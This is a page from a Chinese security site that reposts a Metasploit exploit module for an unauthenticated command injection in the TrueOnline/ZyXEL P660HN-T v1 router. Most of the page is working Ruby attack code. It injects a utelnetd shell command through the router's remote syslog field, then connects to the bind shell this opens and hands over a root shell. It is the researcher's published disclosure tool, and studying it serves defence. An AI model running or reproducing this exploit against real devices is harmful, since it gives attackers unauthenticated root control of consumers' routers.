首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection
来源:metasploit.com 作者:Ribeiro 发布时间:2017-02-03  
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'TrueOnline / ZyXEL P660HN-T v1 Router Unauthenticated Command Injection',
      'Description'    => %q{
        TrueOnline is a major ISP in Thailand, and it distributes a customised version of
        the ZyXEL P660HN-T v1 router. This customised version has an unauthenticated command
        injection vulnerability in the remote log forwarding page.
        This module was tested in an emulated environment, as the author doesn't have access to the
        Thai router any more. Any feedback should be sent directly to the module's author, as well as
        to the Metasploit project.
        There are other language strings in the firmware, so it is likely that this firmware is not only
        distributed in Thailand. Other P660HN-T v1 in other countries might be vulnerable too.
      },
      'Author'         =>
        [
          'Pedro Ribeiro <pedrib@gmail.com>'         # Vulnerability discovery and Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => 'unix',
      'References'     =>
        [
          ['URL', 'http://seclists.org/fulldisclosure/2017/Jan/40'],
          ['URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/zyxel_trueonline.txt'],
          ['URL', 'https://blogs.securiteam.com/index.php/archives/2910']
        ],
      'Targets'        =>
        [
          [ 'P660HN-T v1', {}],
        ],
      'Privileged'     => true,
      'Arch'           => ARCH_CMD,
      'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' },
      'DisclosureDate'  => 'Dec 26 2016',
      'DefaultTarget'   => 0))
    register_options(
      [
        Opt::RPORT(80),
        OptInt.new('TelnetPort', [true, "Telnet port we're going to use", 9999]),
      ], self.class)
  end

  def check
    res = send_request_cgi!({
      'uri'     => '/cgi-bin/authorize.asp',
      'method'  => 'GET'
    })
    if res && res.body =~ /ZyXEL P-660HN-T1A/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Unknown
    end
  end


  def exploit
    print_status("#{peer} - Attempting to exploit router...")
    send_request_cgi({
      'uri'     => '/cgi-bin/ViewLog.asp',
      'method'  => 'POST',
      'vars_post' => {
        'remote_submit_Flag' => '1',
        'remote_syslog_Flag' => '1',
        'RemoteSyslogSupported' => '1',
        'remote_host' => ";utelnetd -l /bin/sh -p #{datastore['TelnetPort']} -d;#",
        'remoteSubmit' => 'Save'
      }
    })

    sleep 5

    begin
      ctx = { 'Msf' => framework, 'MsfExploit' => self }
      sock = Rex::Socket.create_tcp({ 'PeerHost' => rhost, 'PeerPort' => datastore['TelnetPort'], 'Context' => ctx, 'Timeout' => 10 })
      if not sock.nil?
        print_good("#{peer} - Success, shell incoming!")
        return handler(sock)
      end
    rescue Rex::AddressInUse, ::Errno::ETIMEDOUT, Rex::HostUnreachable, Rex::ConnectionTimeout, Rex::ConnectionRefused, ::Timeout::Error, ::EOFError => e
      sock.close if sock
    end

    fail_with(Failure::Unknown, "#{peer} - Failed to exploit router.")
  end
end

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·WordPress 4.7.0/4.7.1 - Unauth
·TrueOnline / Billion 5200W-T R
·WordPress 4.7.0/4.7.1 - Unauth
·TrueOnline / ZyXEL P660HN-T v2
·Microsoft Windows 10 - SMBv3 T
·Cisco WebEx Chrome Extension R
·Apple WebKit - Type Confusion
·CUPS < 2.0.3 - Remote Command
·Apple WebKit - 'HTMLKeygenElem
·Netwave IP Camera - Password D
·Google Chrome - 'HTMLKeygenEle
·Debian 9 ntfs-3g - Privilege E
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved